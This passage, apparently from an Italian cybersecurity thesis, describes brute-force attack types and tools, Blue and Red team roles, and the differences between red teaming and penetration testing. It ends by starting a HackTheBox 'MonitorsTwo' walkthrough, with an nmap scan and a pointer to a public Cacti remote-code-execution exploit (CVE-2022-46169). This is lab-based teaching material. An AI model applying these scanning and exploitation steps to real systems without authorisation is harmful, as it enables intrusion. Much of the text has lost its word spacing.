ItipipiùcomunidiattacchiBruteForcesono:

•AttacchidiBruteForcesemplici:siutilizzanocombinazionidipasswordstandardonumeri
diidentiicazionepersonale,chespessohannosuccessoinquantotroppiutentinon
usanoungestoredellepasswordesiafidanoancoraapassworddeboli.

•Attacchialdizionario:inizianoconunsingolonomeutenteetestanolepossibilipassword
ricavandoledaidizionariecorreggendoleparoleconcaratterispecialienumeri.

•AttacchidiBruteForceibridi:utilizzanolalogicaesternaperdeterminarevariazioni
dipasswordepossibilicombinazionichehannoottimepossibilitàdiaveresuccesso,
quindiprovanoquantepiùvariazionipossibili.

•AttacchidiBruteForceinversi:conquestatecnicaicriminaliusanounaraccoltadi
passwordcomuniabbinateapossibilinomiutente.

•Credentialstufing:èlatecnicachehasuccessoancheconlepasswordpiùcomplesse,
poichéicriminaliusanopasswordnoteacquisitedalleviolazionideidatipertentaredi
accedereaunavarietàdialtrisiti.Siccomemoltiutentiusanolastessapasswordper
unavastagammadisitieaccount,sebbeneessasiacomplessa,unavoltascoperta,il
criminaleavràaccessoatalisitieaccount.

Esistono,inoltre,varisoftwarechepermettonodicompiereattacchiBruteForce;traquesti
ricordiamo:

1.Hydra:cherappresentailsoftwarepereccellenzainquantoèmoltopotenteesupporta
oltrecinquantaprotocolli,tracuiHTTP,HTTPS,telnet,FTP,etc.

2.Hashcat:chesideiniscecomeilsoftwareperilrecuperopassword“piùveloceal
mondo”.Lasuaparticolaritàstanelfattochepergliattacchiconsentedisfruttarela
potenzadicalcolodeiprocessorigraici(GPU),oltrechedellapiùclassicaCPU.
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3.JTR:èunsoftwareopensourcechepermettedieffettuareattacchiditipodizionarioo
BruteForce.

NellastoriasonotantigliesemidiattacchidiBruteForce,ilpiùgrandedeiqualihapreso
dimiraGitHubnel2013,quandodeicybercriminalihannocarpitomilionidicredenzialidi
utentiGitHubtramitel’usodiunalistadiusernameepassword.

UnaltroimmensoattaccoèstatoquelloaidannidegliutilizzatoridiTaoBao,compromet-
tendo21milionidiaccountintotaletraottobreenovembre2015.Adimostrazionediquanto
gliutentitendanoadusarelestessecredenziali,ancheinquestocasoèstatoutilizzatoun
databasecolmodicredenzialicarpitealtrove,etaledatabaseèrisultatoeficaceinuncasosu
cinque.

Perevitarediripeteredannicomequellisopracitatièopportunosapersidifendere
dagliattacchidiBruteForce.Laprotezione migliore,comesievincedaquantodettoin
questasezione,èutilizzarebuonepassword.Per"buonepassword"siintendonopassword
complesse,dificilidacarpireconpochitentativie,soprattutto,passwordchenonsiano
utilizzateperqualsiasisitooaccountassociatiadunastessapersona.

Unabestpracticeèanchequelladicrittografarelapropriapassword.Ladifferenzatra
attaccareunapasswordcrittografataedunasemplicepasswordèchelasecondaviene
generatadagliumaniedènormalmente moltopiùsemplice,intermineditentativi,da
decriptare.Un’ultimasoluzioneèl’utilizzodigeneratoridipasswordstudiatiperfornire
passwordcomplesseedificilmenteottenibilitramiteattacchidiBruteForce.



CAPITOLO 2

Blue Team e Red Team

Questo secondo capitolo si concentra su alcune tipologie di Team, che rappresentano delle squadre
dedicate a testare l’efficacia di un programma di sicurezza. In particolare verranno descritti con maggiore
attenzione i Blue Team e Red Team che, lavorando insieme, permettono di rafforzare la posizione di sicurezza
dell’azienda. Per ognuno dei due team verranno analizzati i vantaggi recati alle organizzazioni che li
utilizzano ed i compiti che essi devono svolgere. Successivamente, relativamente ai Blue Team, vengono
definiti gli strumenti utilizzati dal Team stesso al fine di completare le proprie attività. Infine, per quanto
riguarda i Red Team, verranno analizzate le differenze esistenti con i Penetration Test, tecnica simile, ma,
allo stesso tempo, decisamente differente.

2.1 Definizione dei Team

Quando si tratta di sicurezza informatica spesso pensiamo solo alla protezione, alla difesa
e al contrasto delle minacce. Tuttavia, esistono due approcci: quello dove, appunto, si pensa
direttamente alla difesa della rete e quello in cui ci si mette nei panni degli aggressori e si
vede l’infrastruttura come un bersaglio. All’interno di questo scenario sono presenti vari
attori che vengono identificati in diversi gruppi, chiamati "Team".

2.1.1 Blue Team

Un Blue Team è una vera e propria task force, un gruppo di esperti in sicurezza informa-
tica, con lo scopo di difendere e proteggere la sicurezza di un’organizzazione da eventuali
cyberattacchi. Chiaramente proteggersi presuppone prima conoscere quali siano eventuali
punti deboli dei propri sistemi e valutare le difese informatiche in essere per riuscire, così, a
prevenire e contrastare eventuali attacchi da parte di hacker.

Questo scopo è raggiungibile mettendo in sicurezza gli asset dell’azienda ed effettuando
scansioni alla ricerca di eventuali vulnerabilità; è necessario, inoltre, controllare anche i DNS
(Domain Name System) di un’organizzazione ed, immediatamente dopo il recupero dei dati
richiesti, esaminare, se presenti, le attività sospette.

Oltre ad implementare le politiche di sicurezza, il Blue Team insegna ai dipendenti come
rimanere al sicuro all’interno e all’esterno dell’organizzazione e consiglia le aziende sugli
investimenti e sulle procedure da attuare per proteggersi dagli attacchi.

Una volta definito lo scopo generale del blue team, è importante capire come esso lavori
per contrastare le varie minacce di cybersecurity; il funzionamento può essere identificato
nei seguenti passi:

28
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1.InizialmenteilBlueTeameffettuaunavalutazionedelrischioidentiicandoleminacce
eipuntidebolichesipossonosfruttaredopoaverottenutoidati,edocumentaciòche
deveessereprotetto.

2.Successivamente,idipendentivengonoistruitisulleproceduredisicurezzaevengono
implementatepolitichepiùrigorosesullepasswordperrestringerel’accessoalsistema.
Inoltre,vienespessoinstallatounostrumentodimonitoraggioperregistrareeveriicare
l’accessoaisistemi.

3.Inine,ilSenior Management,responsabiledellapianiicazioneesupervisionedellavoro
digruppioindividui,haunruolocrucialepoichésololuipuòaccettareunrischioo
implementarecontrollidimitigazione.Diconseguenza,icontrollidisicurezzavengono
spessoselezionatiinbasealrapportocosti-beneici.

Perspiegareulteriormentequantodettociserviamodiunesempio:supponiamoche
un’aziendasiasottopostaadunattaccoDDoSduranteilquale,comegiàdettonellaSezione
1.3.6,lerichiesteditraficoincompletevengonoinviateadunserverrendendolaretemeno
disponibilepergliutentilegittimi.LoscopodelBlueTeam,quindi,èquellodicalcolarela
perditasubitadopotaleincidente;inoltre,essovaluteràicostieibeneicidell’implementa-
zionediunsistemadirilevamentoeprevenzionedelleintrusioniinlineacongliobiettivi
aziendalialinediridurrealminimolaminacciadegliattacchiDDoS.

2.1.2 RedTeam

IlRedTeam,alcontrariodiquantodettoperilBlueTeam,èresponsabiledell’esecuzione
diattacchiinformaticisimulaticontrol’aziendacommittenteestabiliscel’eficaciadeipro-
grammiaziendalidisicurezza.Durantequestiattacchi,espertiprofessionistisimulanodi
essereveriepropricybercriminalietentanodiattaccareledifeseinformatichedell’azienda
sfruttandounagammacompletadistrumentichehannoadisposizioneglihackerpiùaggres-
sivi,tracuiilsocialengineering,lawebexploitation,ilcrosssitescripting,sinoallacreazione
edivulgazionedimalwareprogettatoadhoc.

Primadell’esecuzioneditaliattacchivengonodeinitealcuneregolediingaggiotrai
membridelRedTeamealcunipartecipantiall’internodell’aziendadatestare.Ovviamente,
inquesteesercitazioni,lariservatezzaèfondamentaleedilpersonaleaziendalenondeve
esserneaconoscenzaperevitarechepossaadottarecomportamentipiùattentisolodurante
ilRedTeaming.

Inbasealleregolediingaggio,unRedTeamsioccupadiunaoentrambeleseguentiaree
aziendali:

•Difesetecnologiche:utiliperrivelarepotenzialivulnerabilitàerischiall’internodisi-
stemibasatisuhardwareesoftware,comereti,applicazioni,router,interruttorie
elettrodomestici.

•Difeseumane:comegiàdettonellaSezione1.1.5,rappresentaspessol’anellopiùdebole
nelledifeseinformatiche;ilRedTeamsirivolgealpersonale,agliappaltatoriindipen-
denti,aidipartimentieaipartnercommercialiperassicurarsichesianotuttiilpiù
protettipossibile.

Attraversoquestipassaggi,itestdelRedTeamaiutanoiresponsabilidisicurezzaa
identiicareeventualiscappatoieopuntideboli,chepotrebberofornirel’opportunitàdi
ottenerel’accessoaisistemidiun’azienda,comportando,conseguentemente,unagrave
violazionedeidati.



§2.1− DeinizionedeiTeam 30

InbaseaquantodettoriguardoalRedTeamealBlueTeam,èpossibilenotarecheil
lavorocoordinatotraiduerisultaessereessenziale.Infatti,ilRedTeam,essendoaconoscenza
delleminacceodellevulnerabilitàpiùrecenti,puòconsigliareilBlueTeamsulletecnichedi
prevenzione,equest’ultimofaràlostesso,ovverocondivideràleultimetecnologietrovate
conilRedTeampermigliorarelasicurezza.

Èchiaro,quindi,cheentrambiiTeamsono moltoimportantialinedellosviluppo
dellasicurezzainformaticadiun’organizzazione;idueTeamhannoregolediverseriguardo
l’esecuzionedelproprio"lavoro", malacomunicazioneoloscambiodirapportitraessi
èessenzialeafinchéqualsiasiorganizzazionetestilapropriareteepossadiffonderela
consapevolezzanelpersonalesucosadeveesserefattoquandosiveriicaunincidentedi
sicurezzainformatica.

UnaspiegazionearticolatadellacooperazionetraBlueTeameRedTeamèfornitain
Figura2.1.

Figura2.1:FasidellacooperazionetraBlueTeameRedTeam

2.1.3 Teamaggiuntivi

Conl’evolversidelpanoramadelleminacce,sièancheaffermatalanecessitàdidiversitipi
diteamdicybersecurity.Percombinarequestediverseresponsabilitàinununicoteam,ènato
ilconcettodi“BADPyramid”(Build,Attack,DefendPyramid),dicuièpossibileanalizzare
unarappresentazioneinFigura2.2.L’obiettivoècreareunteamdisicurezzaintegratoche
vadaoltrelecapacitàdeiTeamRedeBlue.

Descriviamo,quindi,iteamaggiuntivichecompongonotalepiramide:

•PurpleTeam:èunacombinazionedeiRedeBlueTeamma,adifferenzadeidue,fondail
suooperatosuunapproccioditipocollaborativotraleiguredientrambeiteam.Grazie
allavorodelPurpleTeam,èpossibileaveregiàunaprimaeaccuratapanoramicadel
sistemadicybersecuritydatestare;inoltre,graziealsuoutilizzo,sipossonoottimizzare
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icostipoichéiRedeBlueTeamsiaffronterebberosoloindeterminatiambiti,ovvero
quelliincuinonc’èstatounveroepropriosuccessodapartedelPurpleTeam.

•YellowTeam:conosciutoanchecome"builders",èresponsabiledellacostruzionedi
softwareeapplicazioniprivediproblemidisicurezza;insostanza,creal’infrastruttura
cheilRedTeampuòpoitestare.ColorochericadononelloYellowTeamsono:

1.Softwaredeveloper;

2. Applicationdelevoper;

3.SoftwareEngineer.

•GreenTeam:fungedamediatoretraloYellowTeamedilBlueTeam;essoèstatocreato
permassimizzarel’eficaciadelBlueTeamedelloYellowTeam,integrandoimembri
delsecondo(conunaconoscenzaavanzataeapprofonditadell’architetturaedella
codiica)conimembridelprimochehannolecapacitàdifensiveeoperativerichieste.
Daquestoderivachel’obiettivoprincipaledelGreenTeamècrearepolicyestrutturedi
sicurezzaperilBuilder(YellowTeam)ediDefender(BlueTeam)daapplicareaisistemi
informaticinuoviedesistentinell’interaorganizzazione.

•OrangeTeam:l’obiettivoprincipaledell’OrangeTeamèfornireaiBuilders(YellowTeam)
lemiglioripratichedisicurezzaeformazioneperlosvilupposicuro,aiutandoliaco-
struiresistemiesoluzionimigliori.Infatti,l’OrangeTeamesaminaitestdisicurezza
precedenti,ibug/difettidisicurezzaattiviel’infrastrutturanota,informazioniche
possonoessereutilizzateperistruireloYellowTeamsucomeunutentemalintenzionato
cercherebbedisfruttarel’applicazioneoisistemi.

Figura2.2:RappresentazionedellaBADPyramid
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2.2 AnalisiapprofonditadeiBlueTeam

UnavoltadeinitelecaratteristichegeneralideivariTeamingioco,ciconcentriamosul
BlueTeam;inparticolare,vedremoqualisianoisuoivantaggi,icompitieditoolutiliallasua
realizzazione.

2.2.1 Vantaggi

Comegiàdettonelleprecedentisezioni,lasicurezzainformatica,adoggi,èdiventata
unaprioritàassolutaperorganizzazionidiognidimensioneesettore.Inoltre,lacrescente
complessitàdelle minacceinformatiche,insiemeall’espansionedelleattivitàonlineealla
gestionedienormiquantitàdidatisensibili,hamessoinevidenzalanecessitàdiunapproccio
proattivoallaprotezionedellerisorsedigitali.

IlBlueTeamsvolgeunruolochiavepersoddisfarequantodetto;inparticolare,esso
apportamoltivantaggidapoter"sfruttare".Alcuniesempiditalivantaggisonoiseguenti:

•Rilevamentoerispostaagliattacchi:inbaseaquantogiàdettonellaSezione2.1.1,ilBlue
Teamèingradodirilevareeventualiattacchiinformaticiinmodotempestivo,limitando
enormementeidanni.

•Miglioramentodellasicurezza: rappresentaunadirettaconseguenzadelprecedentevan-
taggio;grazieall’analisidegliattacchi,ilBlueTeampuòidentiicarelevulnerabilitànei
sistemi,perpoimigliorarelasicurezza.

•Risparmiodirisorse:avereunBlueTeamspecializzato,sebbenecomportiinizialmente
deicosti,permettediprevenireeventualiincidentioattacchi,situazionegeneralmente
menocostosarispettoa"combattere"taliincidentiunavoltaavvenuti.

•CollaborazioneconilRedTeam:collaborareconilRedTeam,ilqualesappiamosimula-
reattacchipertestarelasicurezza,permettediidentiicareerisolverevulnerabilità
proattivamente.

•Conformitànormativa:algiornod’oggi,molteaziendesonosoggetteanormativesulla
sicurezzadeidati;ilBlueTeampermette,quindi,digarantirecheunaspeciicaazienda
rispettitalinormative.

•Formazionedegliutenti:ilBlueTeampuòistruireutentieaumentarelaloroconsapevo-
lezzacircairischiesistentiriguardolacybersecurity.Quantoaffermatopermettedi
prevenireerroriumanichepotrebberoportareaviolazionidellasicurezza.

Ivantaggiriportatisonosoloalcunitratuttiquellichevengonooffertidall’usodiunBlue
Teamnell’ambitodellacybersecurity.Bastaun’analisidivantaggidescrittipercapirecome
l’usodelBlueTeaminun’aziendasiaormaiessenziale,grazieallagestioneeficacedella
sicurezzainformaticacheessofornisce.

2.2.2 Compiti

IcompitisvoltidalBlueTeam,comeivantaggiofferti,sonomolteplici;ancheinquesto
casoanalizziamosotantoquelliprincipali;essisono:

•Prevenzionediunpotenzialeattaccoprimacheessosiveriichi.

•Identiicazionedell’attaccoedellatipologiadiincursione,anchequandosvoltodai
membridelRedTeam.
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•Porreineadeventualicyberattacchi.

• Gestionedell’autenticazione.

• Monitoraggiodegliaccessiaidatisensibili.

• Garantirelosviluppoel’ottimizzazionedeglistandarddisicurezza.

• Attivazioneegestionedeirunbookdireteodisistema.

2.2.3 Strumentiutilizzati

AnalogamenteaquantofattonelleSezioni2.2.1e2.2.2,ancheinquestocasocilimitia-
moadescrivereglistrumentiesoftwarepiùutilizzatiperl’implementazionedelleattività
operatedalBlueTeam.Vediamo,dunque,neldettaglioitoolmaggiormenteimpiegatiper
incrementarelasicurezzainformatica.

IntrusionDetectionandPrevention(Threathunting)
Glistrumentidirilevamentoeprevenzionedelleintrusionivengonoutilizzatiperrilevaree
prevenireattacchiprovenientidall’esternodellarete.EssiaiutanoiBlueTeamadidentiicare
qualirisorsevengonopresedimira.

PacketAnalysis
QuestatecnicapermettealBlueTeamdianalizzareapprofonditamenteunaminaccia.Ad
esempio,sesiveriicaunattaccoadundeterminatodispositivo,ilBlueTeamèingradodi
analizzareiltraficoprovenientedaidispositiviaziendali,aiutaadidentiicarel’indirizzo
IPdell’aggressoreeaottenereinformazionidettagliatesulsistemaaziendaleesultrafico
dell’aggressore.

AggregazionediLogePacchetti
L’aggregazionedeilogaiutailBlueTeamacomprenderelecondottedegliattacchiinformatici
ricreandocatenedieventidiattaccocheportanoaviolazionieattacchi.Inoltre,aiutaacreare
regoleFirewalleiltridiavvisopersonalizzatiperiltraficodireteinmododapoterprevenire
attacchifuturi.

Honeypot
Ilfunzionamentoditalestrumentosicollegadirettamentealnome"Honeypot",letteralmente
"Barattolodimiele".Infatti,glihoneypot,comeunbarattolodimielelasciatoapertocome
esca,fungonodarisorseescaimitandogliobiettiviprimari.Grazieaquesto,ilBlueTeam
puòcomprendere megliocomegliaggressoriottengonol’accessoaglihoneypotecome
conduconoiloroattacchiaseguitodiunaviolazione.

Quindi,unhoneypotnonvienecreatopercorreggereunproblemaspeciico,comeun
irewallounantivirus,maèpiuttostounostrumentocheraccoglieinformazioniutiliacapire
leminacceesistentiperun’aziendaeascoprirel’emergeredinuoveminacce.Esistonodiversi
tipidihoneypot;vediamoqualcheesempio:

•Trappolee-mail:piantanounfalsoindirizzoe-mailinunaposizionenascostae,poiché
l’indirizzohacomeunicafunzionequelladifaredatrappolaspam,qualsiasi mail
ricevutarisultaesserespam.Quindi,tuttiimessaggichehannolostessocontenutodi
quelliinviatiallatrappolasarannoautomaticamentebloccatiel’IPdelmittentesarà
aggiuntoaunablacklist.
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•Databaseesca:impostatopermonitorarevulnerabilitàsoftwareedattacchicomeSQL
injection.

•Malwarehoneypot: attraeeventualiattacchimalwareimitandoappsotwareedAPI.

•Spiderhoneypot:permettediintrappolareicosiddettiwebcrawlergrazieadellepagine
Weboadeilinkaccessibilisoltantodaessi.

Sandboxing
IlfunzionamentodelleSandboxèmoltosimileaquellodeglihoneypotinquantoprevengono
eanalizzanoleminacceallasicurezza.SitrattadiunatecnicacheconsenteaiBlueTeamdi
testareleapplicazionieseguendoleinunambienteisolato,installandomalwareedeseguendo
codicepotenzialmentedannoso.Inoltre,graziealsandboxingsumacchinevirtuali,dedicate
suunhostvirtuale,iBlueTeampossonotestareilmalwaresudiversisistemioperativi.

NetworkDefense
AlinedidifendereunNetwork,possonoessereusatiuninsiemeditecnicheestrumentigià
vistiinprecedenza;tuttavia,esistonoanchedeitoolspeciicipersoddisfareilnostroscopo;
descriviamodunquetalistrumenti:

1.IntrusionDetectionSystem(IDS):analizzailtraficoinentrataeinuscitadaunarete
perindividuarecomportamentichecorrispondonoadunairmadannosaoaduna
deviazioneanomalanelnormalecomportamentodeltrafico.

2.IntrusionPreventionSystem(IPS):comel’IDS,èunsistemadiprevenzioneedèuna
componentehardwareosoftwaredispostaall’internodiunarete.Tuttavia,loscopo
diunIPSnonèquelloditeneresottocontrolloillussodeidatidaeversolarete,ma
quellodipreveniretentatividiattaccoomovimentisullaretepotenzialmentepericolosi
perl’incolumitàdeidispositivichenefannoparte.

3.IntrusionDetectionandPreventionSystem(IDPS):IDSedIPSsonotecnologiecomple-
mentarinell’ambitodellasicurezzadelleretiesonoingradodilavorareinsinergia.
Sonoaccomunatedall’analisideltraficodireteedentrambeentranoinfunzionesulla
basedel“matching”tradeterminateregolefornitedall’amministratoredireteedi
pacchettiintransito;perquestomotivodiversisoftwareimplementanosialafunzione
didetectionchedipreventiondandoorigioneagliIDPS.

4.Firewall:èundispositivoperlasicurezzadellaretechepermettedi monitorareil
traficoinentrataeinuscitautilizzandounaseriepredeinitadiregoledisicurezzaper
consentireobloccareglieventi.Funge,quindi,da"iltro"checontrollailtraficodidati
ebloccaletrasmissionipericoloseoindesiderate.
Lamaggiorpartedeiirewallutilizzaunodiquestiduecriterigeneralidiapplicazione
delleregole:

•Default-allow:perimpostazionepredeinitavienebloccatosolociòchevienevietato
esplicitamente,mentreilrestovienepermesso.

•Default-deny: perimpostazionepredeinitavienepermessosolociòcheviene
autorizzatoesplicitamente,mentreilrestovienevietato.Questoèilcriteriomag-
giormenteutilizzatoinquantogarantiscemaggioresicurezzaedunamaggiore
precisionenelladeinizionedelleregole.

Inconclusione,sullabasediciòcheèdescrittoinquestasezione,notiamochecompren-
dereglistrumentieletecnichecheunBlueTeampuòapplicareperdifendereunsistemaè
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fondamentaleperlaprotezionedapossibiliattacchiinformatici,intrusioniealtriincidenti
chepotrebberocolpireun’organizzazione.

2.3 AnalisiapprofonditadeiRedTeam

AncheperquantoriguardaiRedTeamanalizziamoivantaggichevengonoapportatidal
loroutilizzoedicompiticheessisvolgono.InineintroduciamoledifferenzeesistentitraRed
teamingePenetrationtesting,duefenomenisimilichenonvannoconfusitraloro.

2.3.1 Vantaggi

SappiamocheilRedTeamèunostrumentochepermetteadun’organizzazionedirilevare,
prevenireedeliminarelacunedisicurezzapresentiefuture.Dunque,analogamentealBlue
Team,sonopresentiunaseriedivantaggichederivanodall’utilizzodiunRedTeam;ecco
unalistadialcunidiessi:

•Identiicazionedivulnerabilitànascoste:graziealRedTeampossonoessereindividuate
alcunevulnerabilitànonrilevatedalBlueTeamodallasicurezzainterna,evitandoche
essesianosfruttatedaeventualimalintenzionati.

•Valutazionerealistica:comedettoallaSezione2.1.2,ilRedTeamprocedeconl’esecuzione
diattacchirealiversounadeterminataazienda;quindi,l’organizzazionepuòvalutare
lasuapreparazioneelacapacitàdirispostaagliattacchigrazieastudieffettuatisu
condizionireali.

•Sensibilizzazioneallasicurezza:ilRedTeampermettedisensibilizzareilpersonaledi
un’organizzazioneriguardoleminacceallasicurezzainformaticacosìdaaumentarela
consapevolezzaalinediesserepiùcautieattenti.

•CollaborazioneconilBlueTeam:lacooperazionetraRedTeameBlueTeam,giàdescritta
allaSezione2.2.1,permettediidentiicareerisolverevulnerabilitàproattivamente.

•Aggiornamentodellepolicy:lamaggiorpartedelleorganizzazionidisponediunaseriedi
policy,standardelineeguidachevengonoaggiornateraramente.IlRedTeamconsente
diavereunavisioneolisticadell’organizzazioneepuòportareall’aggiornamentodi
documentiobsoleti.

•Conformitànormativa:esistonomoltepliciquadrinormativicherichiedonol’emulazione
diattacchiallacybersecurityinvarisettorieregioniintuttoil mondo,requisitoche
puòesseresoddisfatto,sullabasediquantodetto,dalRedTeam.

TuttiquestivantaggidelRedTeamsitraduconoinunarapidaevoluzionedellecapacità
diun’azienda,consentendodicombatterecon maggioreeficacialesituazionirealiche
potenzialmentesidovrannoaffrontareinfuturo.

2.3.2 Compiti

PercomprendereivantaggioffertidalRedTeamall’internodell’azienda,descrittinella
Sezione2.3.1,analizziamoqualisonoicompitidiquestasquadra:

•Comprometterelasicurezzadelbersaglioestraendoinformazioni,iniltrandosineisuoi
sistemioviolandoisuoiperimetriisici.
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•EvitareilrilevamentodapartedelBlueTeam. Moltiattacchisiveriicanoinunbreve
periododitempo,rendendoestremamentedificileperilBlueTeamneutralizzarela
minacciaprimacheil"danno"vengafatto.

•Sfruttarebugepuntidebolinell’infrastrutturadelbersaglio.Ciòevidenzialelacune
nellasicurezzatecnicadell’organizzazionecherichiedonocorrezioni,migliorando,così,
lasuaposizionedisicurezza.

•Avviodiattivitàostili,chefornisconounavalutazioneafidabiledellecapacitàdifensive
delBlueTeam.

2.3.3 RedteamingvsPenetrationtesting

Conl’espandersidelpanoramadellasicurezzainformatica,cresconoancheleprocedure
divalutazionedellasicurezzautilizzateperprepararsialmegliocontroleminacceincon-
tinuaevoluzione.IPenetrationtestedilRedTeamsonodiventatiil modoprincipaleper
testarel’infrastrutturatecnicaelaresilienzadellasicurezzadiun’organizzazione.Sebbene
contenganoelementicomuni,differisconodrasticamentesumoltiaspetti.

LecaratteristichesucuiRedTeamePenetrationtestdivergonosonoprincipalmente:

•iltempo;

•l’obiettivo;

•letattiche;

•ilrisultato;

•ilcosto.

Speciichiamo,perognipuntodellalista,inchemodoleduetecnichesidifferenziano.

Tempo
Perquantoriguardailparametrotemporaleladifferenzaèabbastanzasemplice.IRedTeam,
alinediconcludereunaloroattività,impieganodiversesettimaneepotenzialmentepiùdi
unmese.Alcontrario,iPenetrationtestutilizzanodelleinestreditempopiùbrevi,ingenere
dapochigiorniapochesettimane.

Obiettivo
L’obiettivoprincipalediunPenetrationtestèl’identiicazionedituttelevulnerabilitàsfrutta-
bili,comepatchmancanti,conigurazionierrateepuntidebolinellagestionedegliaccessi
degliutenti,perindividuareecorreggereirischichecorrelasicurezza.Sinotachel’attenzione
èrivoltaaisistemieallatecnologiainuso.

Viceversail"goal"delRedTeam,comegiàampiamentedescrittonellesezioniprecedenti,
èquellodiaccedereasistemiodatispeciicisfruttandovulnerabilità,comportamentiedelu-
dendoicontrollitecniciconloscopoditestareilrilevamento,larispostaelaconsapevolezza
deisistemidisicurezza.Sitratta,quindi,diunapprocciopiùolistico,conpiùtempoperla
ricognizioneedunosguardoallepratichedisicurezzadell’interaorganizzazione.

Tattiche
LametodologiautilizzatanelRedTeamrisultaessereunacombinazioneditattiche,strumenti
eproceduredelmondoreale,tracuilaraccoltadettagliatadiintelligenceopensource,social
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engineering,tecnichedidistrazione,identiicazioneesfruttamentodellevulnerabilità,iltutto
assicurandosidinonessererilevati.

Invece,neiPenetrationtestletattichesfruttatevarianoasecondadell’ambitodeltest;ad
esempioitestdiinfrastrutturaesterna,applicazione Web,applicazione mobileedesktop
remotoseguirannodiversemetodologieebestpractice,eutilizzerannostrumentietecniche
diversi.

Risultato
NelRedTeamingilrisultatodell’attivitàfornisceinformazionicircalasituazionedisicurezza
complessivadell’organizzazionetarget(coprendopuntidiforzaedidebolezza),comprese
capacitàdirilevamentoerisposta,sicurezzalogicaeisicaeconsapevolezzadeisistemidi
sicurezza.

RelativamenteaiPenetrationtest,l’esitopermettel’identiicazionedellevulnerabilità
dellasicurezzasfruttabili,valutateinbaseallivellodirischioperl’organizzazione,insiemea
consiglidirisoluzioneeraccomandazionitecniche.

Costo
Relativamentealcosto,èfacilecapire,inbaseaquantodetto,cheilRedTeamèsolitamente
piùcostoso,perchésonocoinvoltipiùconsulentieoccorremaggiortempoperutilizzarepiù
strumentietecnichealinedievitareilrilevamento.

NecessariamenteiPenetrationtestrisulterannoesserepiùeconomicipoichévieneconcor-
dataunainestralimitataperiltestinbaseagliobiettividelclienteealbudgetdisponibile.

UnaschematizzazionedelledifferenzeèfornitanellaFigura2.3.

Figura2.3:DifferenzetraRedTeamePenetrationtest

UnavoltedeinitetutteledifferenzechesussistonotraRedTeamePenetrationtest,
puòsorgerelaseguentedomanda:"CosascelgotraRedTeamePenetrationtestperla mia
organizzazione?".Larispostaataledomandanonesiste;iPenetrationtesteilRedTeamhanno
obiettividiversi,nonpossonoessereconfrontatidirettamenteenondovrebberoesserescelti
l’unorispettoall’altro.IPenetrationtestsonoeccellentipervalutareillivellodisicurezza
delleapplicazioniodeisistemitarget;tuttavia,adifferenzadellevalutazionidelRedTeam,
nonvalutanoledifesedell’organizzazione.
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Esiste,però,una"regolagenerale"percapirequaledeidueapprocciabbiapiùsenso
utilizzare.IlRedTeamdovrebbeessereriservatoalleorganizzazionicheritengonodiavere
unatteggiamentodisicurezzainformatica maturoounasupericiediattacco moltopiù
ampia,chepotrebbeesseresfruttatadacriminalicontecnicheavanzate.

Ciononostante,seleledifesedellasicurezzainformaticadell’organizzazionesonodeboli,
nonhamoltosensoiniziareconuntestdiRedTeam.Inquesticasisitendeadeffettuaredei
Penetrationtestconregolarità,alinediidentiicareegestirelevulnerabilità. Manmanoche
lasicurezzadiventapiùstabileeforteedirisultatideiPenetrationtestidentiicanopoche
vulnerabilità,sipuòprendereinconsiderazionelapossibilitàdiadoperareilRedTeamper
comprendereipuntidiforzaedidebolezzadelledifesedisicurezza.



CAPITOLO 3

Una prima esperienza di Red Team

In questo capitolo, come avverrà anche nei prossimi due, viene eseguita un’esperienza di Red Team su
macchina reale. Per ogni test effettuato sono descritte la metodologia ed i vari strumenti utili ad ottenere
l’accesso al sistema User ed al sistema Root. La macchina reale attaccata, descritta in questo capitolo, fa
parte di HackTheBox, un laboratorio online dove possono essere testate e migliorate le proprie conoscenze
riguardo il campo della cybersecurity, ed è chiamata "MonitorsTwo". Non occorre alcun tipo di abbonamento,
in quanto essa è in stato di "active" ed è analizzata in uno scenario di sistema operativo Linux, come la
macchina del Capitolo 4.

3.1 Information Gathering

Il primo passo, ogniqualvolta intendiamo effettuare un test di Red Team tramite la
piattaforma HackTheBox, è la connessione alla VPN di HackTheBox. Per fare ciò, nella
sezione del sito di HackTheBox a ciò dedicato, ovvero HTB Labs, scarichiamo il file con
estensione .ovpn. Ci rechiamo dunque su terminale, nella directory dove è stato salvato
il file, e possiamo collegarci alla VPN di HackTheBox tramite il comando sudo openvpn
nome_file.ovpn.

Successivamente, creiamo una cartella specifica sul desktop di Kali Linux, relativa alla
macchina target, in modo che tutti gli strumenti e file utilizzati saranno contenuti all’interno
di tale cartella. Nel nostro caso, poiché la macchina si chiama MonitorsTwo, tutto ciò che
utilizzeremo verrà reindirizzato alla directory HackTheBox/MonitorsTwo.

Terminato il passo preliminare, accendiamo la macchina su HackTheBox e ciò che notiamo
è la comparsa dell’indirizzo IP (10.10.11.211) relativo alla macchina MonitorsTwo. Dunque,
inizia ora la vera e propria fase di Information Gathering, ovvero la fase raccolta di informazioni
utili ad un attacco. Tramite lo strumento nmap, eseguiamo il cosiddetto port-scanning, mirato
all’individuazione di porte aperte su un computer bersaglio (Figura 3.1); in particolare il
comando utilizzato è sudo nmap -sC -sV 10.10.11.211, dove:

• sudo sta per "super usero do" e permette di eseguire i comandi come amministratore;

• -sC è utilizzato per lo script di default sul target, che fornisce informazioni aggiuntive
sul target, rivela vulnerabilità e può eseguire alcune azioni automatiche di riconosci-
mento e analisi;

• -sV sonda le porte aperte e determina le informazioni su servizio/versione;

39
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•10.10.11.211rappresenta,comedettoinprecedenza,l’indirizzoIPdellamacchina
target.

Figura3.1:Risultatodellascansioneeffettuatatramitelostrumentonmap

Dallascansionenotiamodueporteaperte,la22ela80,rispettivamentelegatealservizio
sshehttp.PerciòprocediamocolcollegarcisulBrowserallapaginadellamacchina,ovvero
all’indirizzohttp://10.10.11.211:80edilrisultatoèl’aperturadellapaginavisibilein
Figura3.2.

Figura3.2:Pagina Web"LogintoCacti"

Analizzandociòchetroviamonellapagina,allaricercadiinformazioniutili,notiamo
l’utilizzodellaVersione1.2.22diunsoftwarechiamatoCacti.Termina,dunque,lafasedi
InformationGatheringediniziaquelladiVulnerabilityAnalysis.

3.2 VulnerabilityAnalysis

Questafaseèinalizzataadidentiicareeclassiicareirischielevulnerabilità.Sfruttiamo,
dunque,leinformazioniappenareperitepercercaresulBrowsereventualivulnerabilitàditale
softwaree,effettivamente,individuiamolapresenzadell’exploitCVE-2022-46169(reperito
dallapaginaGitHubhttps://github.com/FredBrave/CVE-2022-46169-CACTI-1.
2.22)chepermettel’esecuzionedicodiceremotosenzaautenticazione.

DopoaverclonatoilrepositoryGitHubcontenentel’exploit,loavviamo,ma,preliminar-
menteall’avvio,impostiamolaporta 443inascoltoin modochealtre macchinepossano

